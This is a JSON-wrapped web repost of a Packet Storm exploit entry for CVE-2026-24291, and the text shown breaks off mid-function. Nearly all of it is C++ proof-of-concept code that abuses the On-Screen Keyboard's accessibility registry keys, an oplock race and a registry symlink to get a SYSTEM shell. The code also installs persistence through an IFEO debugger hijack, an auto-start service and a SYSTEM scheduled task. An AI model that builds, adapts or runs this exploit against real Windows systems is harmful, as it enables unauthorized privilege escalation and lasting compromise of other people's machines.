{"id":49744,"date":"2026-04-27T12:39:23","date_gmt":"2026-04-27T12:39:23","guid":{"rendered":"http:\/\/localhost\/?p=49744"},"modified":"2026-04-27T12:39:23","modified_gmt":"2026-04-27T12:39:23","slug":"osk-registry-based-privilege-escalation-symlink-attack","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=49744","title":{"rendered":"\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack_PACKETSTORM:219845"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-27T16:34:45&#8243;,&#8221;description&#8221;:&#8221;The provided code is a conceptual Windows privilege escalation exploit targeting the On-Screen Keyboard osk.exe and Accessibility AT registry infrastructure. It attempts to abuse weak trust boundaries between user-level registry configuration and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OSK Registry-Based Privilege Escalation \/ Symlink Attack&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219845&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-24291&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : OSK Registry-Based Privilege Escalation via Accessibility\/AT Abuse and Registry Symlink Manipulation             |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : No standalone download available                                                                                 |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : The provided code is a conceptual Windows privilege escalation exploit targeting the On-Screen Keyboard (osk.exe) and Accessibility (AT) registry infrastructure. \\n                     It attempts to abuse weak trust boundaries between user-level registry configuration and system-level execution paths.\\n    \\n    [+] POC        :  \\n    \\n    \\n    #include \\u003cWindows.h\\u003e\\n    #include \\u003ccomdef.h\\u003e\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cvector\\u003e\\n    #include \\u003cstring\\u003e\\n    #include \\u003cthread\\u003e\\n    #include \\u003cchrono\\u003e\\n    #include \\u003csddl.h\\u003e\\n    #include \\u003cwinternl.h\\u003e\\n    #include \\u003caclapi.h\\u003e\\n    #include \\u003cfstream\\u003e\\n    #include \\u003cfilesystem\\u003e\\n    \\n    #pragma comment(lib, \\&#8221;advapi32.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;user32.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;ntdll.lib\\&#8221;)\\n    \\n    bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile);\\n    bool DeleteRegSymlink(LPCWSTR lpSymlink);\\n    \\n    constexpr wchar_t kAtKey[] = L\\&#8221;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\ATs\\\\\\\\system_escape\\&#8221;;\\n    constexpr wchar_t kTargetKey[] = L\\&#8221;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Image File Execution Options\\\\\\\\osk.exe\\&#8221;;\\n    constexpr wchar_t kDebuggerValue[] = L\\&#8221;Debugger\\&#8221;;\\n    \\n    class ScopedRegHandle {\\n    private:\\n        HKEY m_hKey;\\n    \\n    public:\\n        ScopedRegHandle() : m_hKey(nullptr) {}\\n        ScopedRegHandle(HKEY hKey) : m_hKey(hKey) {}\\n        \\n        ~ScopedRegHandle() { Close(); }\\n        \\n        void Close() {\\n            if (m_hKey \\u0026\\u0026 m_hKey != INVALID_HANDLE_VALUE) {\\n                RegCloseKey(m_hKey);\\n                m_hKey = nullptr;\\n            }\\n        }\\n        \\n        bool IsValid() const { return m_hKey \\u0026\\u0026 m_hKey != INVALID_HANDLE_VALUE; }\\n        HKEY* GetPtr() { return \\u0026m_hKey; }\\n        operator HKEY() const { return m_hKey; }\\n        \\n        bool SetString(LPCWSTR name, LPCWSTR value) const {\\n            if (!IsValid()) return false;\\n            DWORD size = static_cast\\u003cDWORD\\u003e((wcslen(value) + 1) * sizeof(WCHAR));\\n            return RegSetValueExW(m_hKey, name, 0, REG_SZ, \\n                                  reinterpret_cast\\u003cconst BYTE*\\u003e(value), size) == ERROR_SUCCESS;\\n        }\\n        \\n        bool SetDWORD(LPCWSTR name, DWORD value) const {\\n            if (!IsValid()) return false;\\n            return RegSetValueExW(m_hKey, name, 0, REG_DWORD, \\n                                  reinterpret_cast\\u003cconst BYTE*\\u003e(\\u0026value), sizeof(value)) == ERROR_SUCCESS;\\n        }\\n        \\n        ScopedRegHandle(ScopedRegHandle\\u0026\\u0026 other) noexcept : m_hKey(other.m_hKey) {\\n            other.m_hKey = nullptr;\\n        }\\n        \\n        ScopedRegHandle\\u0026 operator=(ScopedRegHandle\\u0026\\u0026 other) noexcept {\\n            if (this != \\u0026other) {\\n                Close();\\n                m_hKey = other.m_hKey;\\n                other.m_hKey = nullptr;\\n            }\\n            return *this;\\n        }\\n        \\n        ScopedRegHandle(const ScopedRegHandle\\u0026) = delete;\\n        ScopedRegHandle\\u0026 operator=(const ScopedRegHandle\\u0026) = delete;\\n    };\\n    \\n    class RegistryHelper {\\n    public:\\n        static std::wstring GetUserSid() {\\n            HANDLE hToken = nullptr;\\n            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, \\u0026hToken))\\n                return L\\&#8221;\\&#8221;;\\n    \\n            DWORD dwSize = 0;\\n            GetTokenInformation(hToken, TokenUser, nullptr, 0, \\u0026dwSize);\\n            \\n            std::vector\\u003cBYTE\\u003e buffer(dwSize);\\n            if (!GetTokenInformation(hToken, TokenUser, buffer.data(), dwSize, \\u0026dwSize)) {\\n                CloseHandle(hToken);\\n                return L\\&#8221;\\&#8221;;\\n            }\\n    \\n            PTOKEN_USER pTokenUser = reinterpret_cast\\u003cPTOKEN_USER\\u003e(buffer.data());\\n            LPWSTR lpSid = nullptr;\\n            \\n            if (!ConvertSidToStringSidW(pTokenUser-\\u003eUser.Sid, \\u0026lpSid)) {\\n                CloseHandle(hToken);\\n                return L\\&#8221;\\&#8221;;\\n            }\\n    \\n            std::wstring sid(lpSid);\\n            LocalFree(lpSid);\\n            CloseHandle(hToken);\\n            \\n            return sid;\\n        }\\n    \\n        static std::wstring BuildSessionPath() {\\n            DWORD sessionId = 0;\\n            ProcessIdToSessionId(GetCurrentProcessId(), \\u0026sessionId);\\n            \\n            wchar_t path[512];\\n            swprintf_s(path, L\\&#8221;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\Session%d\\&#8221;, sessionId);\\n            return std::wstring(path);\\n        }\\n        \\n        static std::wstring BuildOskConfigPath() {\\n            return BuildSessionPath() + L\\&#8221;\\\\\\\\ATConfig\\\\\\\\Osk\\&#8221;;\\n        }\\n        \\n        static std::wstring BuildAtKeyPath() {\\n            return std::wstring(kAtKey);\\n        }\\n        \\n        static bool CreateRegistryKey(const std::wstring\\u0026 path, bool volatileKey = false) {\\n            std::wstring cleanPath = path;\\n            if (cleanPath.find(L\\&#8221;HKLM\\\\\\\\\\&#8221;) == 0) {\\n                cleanPath = cleanPath.substr(5);\\n            }\\n            \\n            HKEY hKey = nullptr;\\n            DWORD disposition = 0;\\n            DWORD options = volatileKey ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE;\\n            \\n            LSTATUS status = RegCreateKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, nullptr,\\n                                             options, KEY_ALL_ACCESS, nullptr, \\u0026hKey, \\u0026disposition);\\n            if (status == ERROR_SUCCESS) {\\n                RegCloseKey(hKey);\\n                return true;\\n            }\\n            return false;\\n        }\\n        \\n        static bool DeleteRegistryKey(const std::wstring\\u0026 path) {\\n            std::wstring cleanPath = path;\\n            if (cleanPath.find(L\\&#8221;HKLM\\\\\\\\\\&#8221;) == 0) {\\n                cleanPath = cleanPath.substr(5);\\n            }\\n            return RegDeleteTreeW(HKEY_LOCAL_MACHINE, cleanPath.c_str()) == ERROR_SUCCESS;\\n        }\\n        \\n        static bool SetRegistryValues(const std::wstring\\u0026 path, \\n                                      const std::map\\u003cstd::wstring, std::wstring\\u003e\\u0026 stringValues,\\n                                      const std::map\\u003cstd::wstring, DWORD\\u003e\\u0026 dwordValues = {}) {\\n            std::wstring cleanPath = path;\\n            if (cleanPath.find(L\\&#8221;HKLM\\\\\\\\\\&#8221;) == 0) {\\n                cleanPath = cleanPath.substr(5);\\n            }\\n            \\n            HKEY hKey = nullptr;\\n            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, KEY_SET_VALUE, \\u0026hKey) != ERROR_SUCCESS) {\\n                return false;\\n            }\\n            \\n            for (const auto\\u0026 [name, value] : stringValues) {\\n                DWORD size = static_cast\\u003cDWORD\\u003e((value.length() + 1) * sizeof(WCHAR));\\n                RegSetValueExW(hKey, name.c_str(), 0, REG_SZ, \\n                              reinterpret_cast\\u003cconst BYTE*\\u003e(value.c_str()), size);\\n            }\\n            \\n            for (const auto\\u0026 [name, value] : dwordValues) {\\n                RegSetValueExW(hKey, name.c_str(), 0, REG_DWORD,\\n                              reinterpret_cast\\u003cconst BYTE*\\u003e(\\u0026value), sizeof(value));\\n            }\\n            \\n            RegCloseKey(hKey);\\n            return true;\\n        }\\n    };\\n    \\n    class FileOpLock {\\n    private:\\n        HANDLE m_hFile;\\n        OVERLAPPED m_overlapped;\\n        HANDLE m_hCompletionEvent;\\n        PTP_WAIT m_pWait;\\n        std::function\\u003cvoid()\\u003e m_callback;\\n        bool m_locked;\\n        \\n        static VOID CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter,\\n                                           PTP_WAIT Wait, TP_WAIT_RESULT WaitResult) {\\n            FileOpLock* pLock = reinterpret_cast\\u003cFileOpLock*\\u003e(Parameter);\\n            pLock-\\u003eOnOplockTriggered();\\n        }\\n        \\n        void OnOplockTriggered() {\\n            DWORD bytesReturned = 0;\\n            if (GetOverlappedResult(m_hFile, \\u0026m_overlapped, \\u0026bytesReturned, TRUE)) {\\n                if (m_callback) {\\n                    m_callback();\\n                }\\n            }\\n            SetEvent(m_hCompletionEvent);\\n        }\\n        \\n    public:\\n        FileOpLock() : m_hFile(INVALID_HANDLE_VALUE), m_overlapped({0}), \\n                       m_hCompletionEvent(nullptr), m_pWait(nullptr), m_locked(false) {\\n            m_overlapped.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);\\n            m_hCompletionEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);\\n        }\\n        \\n        ~FileOpLock() {\\n            if (m_pWait) {\\n                SetThreadpoolWait(m_pWait, nullptr, nullptr);\\n                CloseThreadpoolWait(m_pWait);\\n            }\\n            if (m_overlapped.hEvent) CloseHandle(m_overlapped.hEvent);\\n            if (m_hCompletionEvent) CloseHandle(m_hCompletionEvent);\\n            if (m_hFile != INVALID_HANDLE_VALUE) CloseHandle(m_hFile);\\n        }\\n        \\n        bool Acquire(const std::wstring\\u0026 filePath, std::function\\u003cvoid()\\u003e callback) {\\n            m_callback = callback;\\n            \\n            m_hFile = CreateFileW(filePath.c_str(), FILE_READ_ATTRIBUTES,\\n                                  FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n                                  nullptr, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, nullptr);\\n            \\n            if (m_hFile == INVALID_HANDLE_VALUE) {\\n                printf(\\&#8221;[!] Failed to open file: %d\\\\n\\&#8221;, GetLastError());\\n                return false;\\n            }\\n            \\n            m_pWait = CreateThreadpoolWait(WaitCallback, this, nullptr);\\n            if (!m_pWait) {\\n                printf(\\&#8221;[!] Failed to create threadpool wait\\\\n\\&#8221;);\\n                return false;\\n            }\\n            \\n            SetThreadpoolWait(m_pWait, m_overlapped.hEvent, nullptr);\\n            \\n            DWORD bytesReturned = 0;\\n            REQUEST_OPLOCK_INPUT_BUFFER inputBuffer = {0};\\n            REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer = {0};\\n            \\n            inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\\n            inputBuffer.StructureLength = sizeof(inputBuffer);\\n            inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;\\n            inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;\\n            outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\\n            outputBuffer.StructureLength = sizeof(outputBuffer);\\n            \\n            if (!DeviceIoControl(m_hFile, FSCTL_REQUEST_OPLOCK, \\u0026inputBuffer, sizeof(inputBuffer),\\n                                 \\u0026outputBuffer, sizeof(outputBuffer), \\u0026bytesReturned, \\u0026m_overlapped)) {\\n                DWORD err = GetLastError();\\n                if (err != ERROR_IO_PENDING) {\\n                    printf(\\&#8221;[!] OpLock failed: %d\\\\n\\&#8221;, err);\\n                    return false;\\n                }\\n            }\\n            \\n            m_locked = true;\\n            return true;\\n        }\\n        \\n        void Wait(DWORD timeoutMs = INFINITE) {\\n            if (m_locked) {\\n                WaitForSingleObject(m_hCompletionEvent, timeoutMs);\\n            }\\n        }\\n    };\\n    \\n    class OSKEoPExploit {\\n    private:\\n        std::wstring m_sessionPath;\\n        std::wstring m_oskConfigPath;\\n        std::wstring m_atKeyPath;\\n        std::wstring m_executablePath;\\n        bool m_debugMode;\\n        \\n        void EnsureOSKInitialized() {\\n            printf(\\&#8221;[*] Ensuring OSK is initialized on normal desktop&#8230;\\\\n\\&#8221;);\\n    \\n            ShellExecuteW(nullptr, L\\&#8221;open\\&#8221;, L\\&#8221;osk.exe\\&#8221;, L\\&#8221;\\&#8221;, nullptr, SW_SHOW);\\n            Sleep(3000);\\n    \\n            HWND hWnd = FindWindowW(nullptr, L\\&#8221;On-Screen Keyboard\\&#8221;);\\n            if (hWnd) {\\n                PostMessageW(hWnd, WM_CLOSE, 0, 0);\\n                Sleep(1000);\\n            }\\n            \\n            printf(\\&#8221;[+] OSK initialized\\\\n\\&#8221;);\\n        }\\n        \\n        bool PrepareMaliciousAtKey() {\\n            printf(\\&#8221;[*] Preparing malicious AT entry&#8230;\\\\n\\&#8221;);\\n    \\n            RegistryHelper::DeleteRegistryKey(m_atKeyPath);\\n    \\n            if (!RegistryHelper::CreateRegistryKey(m_atKeyPath, false)) {\\n                printf(\\&#8221;[!] Failed to create AT key\\\\n\\&#8221;);\\n                return false;\\n            }\\n    \\n            std::map\\u003cstd::wstring, std::wstring\\u003e values = {\\n                {L\\&#8221;ApplicationName\\&#8221;, L\\&#8221;System Escalation\\&#8221;},\\n                {L\\&#8221;ATExe\\&#8221;, L\\&#8221;cmd.exe\\&#8221;},\\n                {L\\&#8221;Description\\&#8221;, L\\&#8221;Privilege escalation via OSK\\&#8221;},\\n                {L\\&#8221;StartExe\\&#8221;, m_executablePath},\\n                {L\\&#8221;Profile\\&#8221;, L\\&#8221;\\u003cHCIModel\\u003e\\u003cAccommodation type=\\\\\\&#8221;severe dexterity\\\\\\&#8221; \/\\u003e\\u003c\/HCIModel\\u003e\\&#8221;},\\n                {L\\&#8221;SimpleProfile\\&#8221;, L\\&#8221;EoP Exploit\\&#8221;}\\n            };\\n            \\n            if (!RegistryHelper::SetRegistryValues(m_atKeyPath, values)) {\\n                printf(\\&#8221;[!] Failed to set AT values\\\\n\\&#8221;);\\n                return false;\\n            }\\n            \\n            printf(\\&#8221;[+] Malicious AT entry created at: %ls\\\\n\\&#8221;, m_atKeyPath.c_str());\\n            return true;\\n        }\\n        \\n        bool PrepareOskConfigValues() {\\n            printf(\\&#8221;[*] Preparing OSK configuration values&#8230;\\\\n\\&#8221;);\\n            \\n            std::wstring oskConfigPath = RegistryHelper::BuildOskConfigPath();\\n            RegistryHelper::DeleteRegistryKey(oskConfigPath);\\n            if (!RegistryHelper::CreateRegistryKey(oskConfigPath, true)) {\\n                printf(\\&#8221;[!] Failed to create OSK config key\\\\n\\&#8221;);\\n                return false;\\n            }\\n    \\n            std::map\\u003cstd::wstring, std::wstring\\u003e values = {\\n                {L\\&#8221;ApplicationName\\&#8221;, L\\&#8221;System Escalation\\&#8221;},\\n                {L\\&#8221;ATExe\\&#8221;, L\\&#8221;explorer.exe\\&#8221;},\\n                {L\\&#8221;Description\\&#8221;, L\\&#8221;EoP via OSK\\&#8221;},\\n                {L\\&#8221;StartExe\\&#8221;, m_executablePath},\\n                {L\\&#8221;Profile\\&#8221;, L\\&#8221;\\u003cHCIModel\\u003e\\u003cAccommodation type=\\\\\\&#8221;severe dexterity\\\\\\&#8221; \/\\u003e\\u003c\/HCIModel\\u003e\\&#8221;},\\n                {L\\&#8221;SimpleProfile\\&#8221;, L\\&#8221;EoP Exploit\\&#8221;},\\n                {L\\&#8221;SecureConfiguration\\&#8221;, L\\&#8221;hack\\&#8221;} \\n            };\\n            \\n            if (!RegistryHelper::SetRegistryValues(oskConfigPath, values)) {\\n                printf(\\&#8221;[!] Failed to set OSK config values\\\\n\\&#8221;);\\n                return false;\\n            }\\n            \\n            printf(\\&#8221;[+] OSK configuration prepared\\\\n\\&#8221;);\\n            return true;\\n        }\\n        \\n        bool CreateDebuggerPersistence() {\\n            printf(\\&#8221;[*] Creating debugger persistence (optional)&#8230;\\\\n\\&#8221;);\\n            if (!RegistryHelper::CreateRegistryKey(kTargetKey, false)) {\\n                return false;\\n            }\\n            HKEY hKey = nullptr;\\n            std::wstring cleanPath = kTargetKey;\\n            if (cleanPath.find(L\\&#8221;HKLM\\\\\\\\\\&#8221;) == 0) {\\n                cleanPath = cleanPath.substr(5);\\n            }\\n            \\n            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, KEY_SET_VALUE, \\u0026hKey) == ERROR_SUCCESS) {\\n                RegSetValueExW(hKey, kDebuggerValue, 0, REG_SZ,\\n                              reinterpret_cast\\u003cconst BYTE*\\u003e(m_executablePath.c_str()),\\n                              static_cast\\u003cDWORD\\u003e((m_executablePath.length() + 1) * sizeof(WCHAR)));\\n                RegCloseKey(hKey);\\n                printf(\\&#8221;[+] Debugger persistence configured\\\\n\\&#8221;);\\n                return true;\\n            }\\n            \\n            return false;\\n        }\\n        \\n        bool TriggerSecureDesktop() {\\n            printf(\\&#8221;[*] Triggering secure desktop switch&#8230;\\\\n\\&#8221;);\\n            SHELLEXECUTEINFOW sei = { sizeof(sei) };\\n            sei.lpVerb = L\\&#8221;runas\\&#8221;;\\n            sei.lpFile = L\\&#8221;cmd.exe\\&#8221;;\\n            sei.lpParameters = L\\&#8221;\/c echo Exploit triggered \\u003e nul\\&#8221;;\\n            sei.nShow = SW_HIDE;\\n            \\n            if (!ShellExecuteExW(\\u0026sei)) {\\n                printf(\\&#8221;[!] Failed to trigger elevation\\\\n\\&#8221;);\\n                return false;\\n            }\\n            \\n            printf(\\&#8221;[+] Secure desktop triggered (UAC prompt should appear)\\\\n\\&#8221;);\\n            return true;\\n        }\\n        \\n        void WaitForOskOnSecureDesktop() {\\n            printf(\\&#8221;[*] Waiting for OSK on secure desktop&#8230;\\\\n\\&#8221;);\\n            for (int i = 0; i \\u003c 30; i++) {\\n                HWND hWnd = FindWindowW(nullptr, L\\&#8221;On-Screen Keyboard\\&#8221;);\\n                if (hWnd) {\\n                    printf(\\&#8221;[+] OSK detected on secure desktop\\\\n\\&#8221;);\\n                    break;\\n                }\\n                Sleep(1000);\\n            }\\n        }\\n        \\n        bool CreateSymbolicLinkRace() {\\n            printf(\\&#8221;\\\\n[*] Setting up symbolic link race condition&#8230;\\\\n\\&#8221;);\\n            \\n            std::wstring targetPath = RegistryHelper::BuildOskConfigPath();\\n            DeleteRegSymlink(targetPath.c_str());\\n    \\n            if (!CreateRegSymlink(targetPath.c_str(), m_atKeyPath.c_str(), true)) {\\n                printf(\\&#8221;[!] Failed to create symlink\\\\n\\&#8221;);\\n                return false;\\n            }\\n            \\n            printf(\\&#8221;[+] Symbolic link created: %ls -\\u003e %ls\\\\n\\&#8221;, targetPath.c_str(), m_atKeyPath.c_str());\\n            return true;\\n        }\\n        \\n        void Cleanup() {\\n            printf(\\&#8221;\\\\n[*] Cleaning up&#8230;\\\\n\\&#8221;);\\n            \\n            std::wstring oskConfigPath = RegistryHelper::BuildOskConfigPath();\\n            DeleteRegSymlink(oskConfigPath.c_str());\\n            RegistryHelper::DeleteRegistryKey(m_atKeyPath);\\n            RegistryHelper::DeleteRegistryKey(kTargetKey);\\n            \\n            printf(\\&#8221;[+] Cleanup completed\\\\n\\&#8221;);\\n        }\\n    \\n    public:\\n        OSKEoPExploit(bool debugMode = false) : m_debugMode(debugMode) {\\n            WCHAR path[MAX_PATH];\\n            GetModuleFileNameW(nullptr, path, MAX_PATH);\\n            m_executablePath = path;\\n            m_sessionPath = RegistryHelper::BuildSessionPath();\\n            m_oskConfigPath = RegistryHelper::BuildOskConfigPath();\\n            m_atKeyPath = RegistryHelper::BuildAtKeyPath();\\n        }\\n        \\n        bool Exploit() {\\n            printf(\\&#8221;\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            printf(\\&#8221;  CVE-2026-24291 &#8211; OSK EoP Exploit\\\\n\\&#8221;);\\n            printf(\\&#8221;  SYSTEM Privilege Escalation\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\\\n\\&#8221;);\\n            printf(\\&#8221;[*] Exploit path: %ls\\\\n\\&#8221;, m_executablePath.c_str());\\n            printf(\\&#8221;[*] Session path: %ls\\\\n\\&#8221;, m_sessionPath.c_str());\\n            printf(\\&#8221;[*] OSK config path: %ls\\\\n\\&#8221;, m_oskConfigPath.c_str());\\n            printf(\\&#8221;[*] AT key path: %ls\\\\n\\&#8221;, m_atKeyPath.c_str());\\n    \\n            EnsureOSKInitialized();\\n    \\n            if (!PrepareMaliciousAtKey()) {\\n                printf(\\&#8221;[!] Failed to prepare AT key\\\\n\\&#8221;);\\n                return false;\\n            }\\n    \\n            if (!PrepareOskConfigValues()) {\\n                printf(\\&#8221;[!] Failed to prepare OSK config\\\\n\\&#8221;);\\n                return false;\\n            }\\n    \\n            printf(\\&#8221;\\\\n[*] Creating OpLock on osk.exe&#8230;\\\\n\\&#8221;);\\n            FileOpLock oplock;\\n            \\n            if (!oplock.Acquire(L\\&#8221;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\osk.exe\\&#8221;, [this]() {\\n                printf(\\&#8221;\\\\n[!!!] OPLOCK TRIGGERED!\\\\n\\&#8221;);\\n                printf(\\&#8221;[*] Creating symbolic link for registry redirection&#8230;\\\\n\\&#8221;);\\n                CreateSymbolicLinkRace();\\n            })) {\\n                printf(\\&#8221;[!] Failed to acquire oplock\\\\n\\&#8221;);\\n                return false;\\n            }\\n    \\n            if (!TriggerSecureDesktop()) {\\n                return false;\\n            }\\n    \\n            printf(\\&#8221;[*] Waiting for OpLock to trigger (OSK on secure desktop)&#8230;\\\\n\\&#8221;);\\n            oplock.Wait(15000);\\n            printf(\\&#8221;[*] Waiting for registry synchronization&#8230;\\\\n\\&#8221;);\\n            Sleep(5000);\\n    \\n            printf(\\&#8221;\\\\n[*] Triggering AT execution&#8230;\\\\n\\&#8221;);\\n            std::wstring sessionPath = m_sessionPath;\\n            if (sessionPath.find(L\\&#8221;HKLM\\\\\\\\\\&#8221;) == 0) {\\n                sessionPath = sessionPath.substr(5);\\n            }\\n            \\n            HKEY hKey = nullptr;\\n            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, sessionPath.c_str(), 0, KEY_SET_VALUE, \\u0026hKey) == ERROR_SUCCESS) {\\n                std::wstring configValue = L\\&#8221;hack\\&#8221;;\\n                RegSetValueExW(hKey, L\\&#8221;SecureConfiguration\\&#8221;, 0, REG_SZ,\\n                              reinterpret_cast\\u003cconst BYTE*\\u003e(configValue.c_str()),\\n                              static_cast\\u003cDWORD\\u003e((configValue.length() + 1) * sizeof(WCHAR)));\\n                RegCloseKey(hKey);\\n            }\\n    \\n            printf(\\&#8221;[*] Triggering second secure desktop to execute malicious AT&#8230;\\\\n\\&#8221;);\\n            Sleep(2000);\\n            TriggerSecureDesktop();\\n            printf(\\&#8221;[*] Waiting for SYSTEM execution&#8230;\\\\n\\&#8221;);\\n            Sleep(8000);\\n            Cleanup();\\n            \\n            printf(\\&#8221;\\\\n[+] Exploit completed! Check for SYSTEM shell.\\\\n\\&#8221;);\\n            return true;\\n        }\\n    };\\n    \\n    class AdvancedPersistence {\\n    public:\\n        static bool InstallServicePersistence(const std::wstring\\u0026 executablePath) {\\n            printf(\\&#8221;[*] Installing service persistence&#8230;\\\\n\\&#8221;);\\n            SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);\\n            if (!hSCM) return false;\\n            \\n            SC_HANDLE hService = CreateServiceW(\\n                hSCM,\\n                L\\&#8221;OSKEoPService\\&#8221;,\\n                L\\&#8221;OSK EoP Service\\&#8221;,\\n                SERVICE_ALL_ACCESS,\\n                SERVICE_WIN32_OWN_PROCESS,\\n                SERVICE_AUTO_START,\\n                SERVICE_ERROR_NORMAL,\\n                executablePath.c_str(),\\n                nullptr, nullptr, nullptr, nullptr, nullptr\\n            );\\n            \\n            if (hService) {\\n                StartServiceW(hService, 0, nullptr);\\n                CloseServiceHandle(hService);\\n                printf(\\&#8221;[+] Service persistence installed\\\\n\\&#8221;);\\n            }\\n            \\n            CloseServiceHandle(hSCM);\\n            return hService != nullptr;\\n        }\\n        \\n        static bool InstallScheduledTask(const std::wstring\\u0026 executablePath) {\\n            printf(\\&#8221;[*] Installing scheduled task persistence&#8230;\\\\n\\&#8221;);\\n            \\n            wchar_t command[512];\\n            swprintf_s(command, L\\&#8221;schtasks \/create \/tn \\\\\\&#8221;OSKEoP\\\\\\&#8221; \/tr \\\\\\&#8221;%ls\\\\\\&#8221; \/sc onlogon \/ru SYSTEM \/f\\&#8221;, \\n                       executablePath.c_str());\\n            \\n            system(\\&#8221;schtasks \/delete \/tn \\\\\\&#8221;OSKEoP\\\\\\&#8221; \/f \\u003e nul 2\\u003e\\u00261\\&#8221;);\\n            int result = system(command);\\n            \\n            if (result == 0) {\\n                printf(\\&#8221;[+] Scheduled task persistence installed\\\\n\\&#8221;);\\n                return true;\\n            }\\n            \\n            return false;\\n        }\\n    };\\n    \\n    int wmain(int argc, wchar_t* argv[]) {\\n    \\n        bool debugMode = false;\\n        bool installPersistence = false;\\n        bool useDebugger = false;\\n        \\n        for (int i = 1; i \\u003c argc; i++) {\\n            if (_wcsicmp(argv[i], L\\&#8221;&#8211;debug\\&#8221;) == 0) {\\n                debugMode = true;\\n            }\\n            else if (_wcsicmp(argv[i], L\\&#8221;&#8211;persist\\&#8221;) == 0) {\\n                installPersistence = true;\\n            }\\n            else if (_wcsicmp(argv[i], L\\&#8221;&#8211;debugger\\&#8221;) == 0) {\\n                useDebugger = true;\\n            }\\n            else if (_wcsicmp(argv[i], L\\&#8221;&#8211;help\\&#8221;) == 0) {\\n                printf(\\&#8221;CVE-2026-24291 &#8211; OSK EoP Exploit\\\\n\\&#8221;);\\n                printf(\\&#8221;Usage: %s [options]\\\\n\\&#8221;, argv[0]);\\n                printf(\\&#8221;Options:\\\\n\\&#8221;);\\n                printf(\\&#8221;  &#8211;debug      Enable debug output\\\\n\\&#8221;);\\n                printf(\\&#8221;  &#8211;persist    Install persistence after escalation\\\\n\\&#8221;);\\n                printf(\\&#8221;  &#8211;debugger   Use IFEO debugger persistence\\\\n\\&#8221;);\\n                printf(\\&#8221;\\\\nNote: This exploit escalates to SYSTEM privileges\\\\n\\&#8221;);\\n                return 0;\\n            }\\n        }\\n    \\n        HANDLE hToken = nullptr;\\n        if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, \\u0026hToken)) {\\n            TOKEN_ELEVATION_TYPE elevationType;\\n            DWORD dwSize;\\n            if (GetTokenInformation(hToken, TokenElevationType, \\u0026elevationType, sizeof(elevationType), \\u0026dwSize)) {\\n                if (elevationType == TokenElevationTypeFull) {\\n                    printf(\\&#8221;[+] Already running with elevated privileges!\\\\n\\&#8221;);\\n                    printf(\\&#8221;[*] Spawning SYSTEM shell&#8230;\\\\n\\&#8221;);\\n                    system(\\&#8221;cmd.exe\\&#8221;);\\n                    return 0;\\n                }\\n            }\\n            CloseHandle(hToken);\\n        }\\n    \\n        OSKEoPExploit exploit(debugMode);\\n        \\n        if (exploit.Exploit()) {\\n            printf(\\&#8221;\\\\n[+] Exploit successful!\\\\n\\&#8221;);\\n            \\n            if (installPersistence) {\\n                WCHAR path[MAX_PATH];\\n                GetModuleFileNameW(nullptr, path, MAX_PATH);\\n                AdvancedPersistence::InstallServicePersistence(path);\\n                AdvancedPersistence::InstallScheduledTask(path);\\n            }\\n            \\n            if (useDebugger) {\\n                \/\/ \u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-IFEO debugger\\n                HKEY hKey = nullptr;\\n                if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,\\n                                 L\\&#8221;SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Image File Execution Options\\\\\\\\osk.exe\\&#8221;,\\n                                 0, 